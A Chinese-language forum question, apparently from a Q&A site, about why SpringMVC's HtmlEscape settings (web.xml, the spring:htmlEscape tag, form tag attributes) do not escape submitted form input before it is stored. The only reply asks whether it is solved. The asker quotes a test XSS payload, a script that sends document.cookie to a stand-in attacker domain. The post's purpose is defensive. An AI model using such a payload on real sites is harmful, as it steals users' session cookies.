SpringMVC: HtmlEscape 设置没起作用怎么回事？

Question

项目用的是 SpringMVC+jsp

想要对提交表格的内容进行字符转义防止 XSS 攻击

根据 http://www.codeweblog.com/spr...

做处理，下面三条都做了

1)web.xml 中添加

 <context-param>     <param-name>defaultHtmlEscape</param-name>      <param-value>true</param-value> </context-param>

2)在包含 form 的 jsp 页面中添加

 <spring:htmlEscape defaultHtmlEscape="true" />
 

3 ）直接在 form 中的元素中添加

 <form:input path="someFormField" htmlEscape="true" />或<form:form htmlEscape="true">

然后在表格上添加

<script>document.getElementById('attacker').href='http://www.attacker_741.com/r...'+document.cookie;</script>

发现存进数据库的没有转移，依然是原文

怎么回事啊？

Answer 1

现在解决了吗？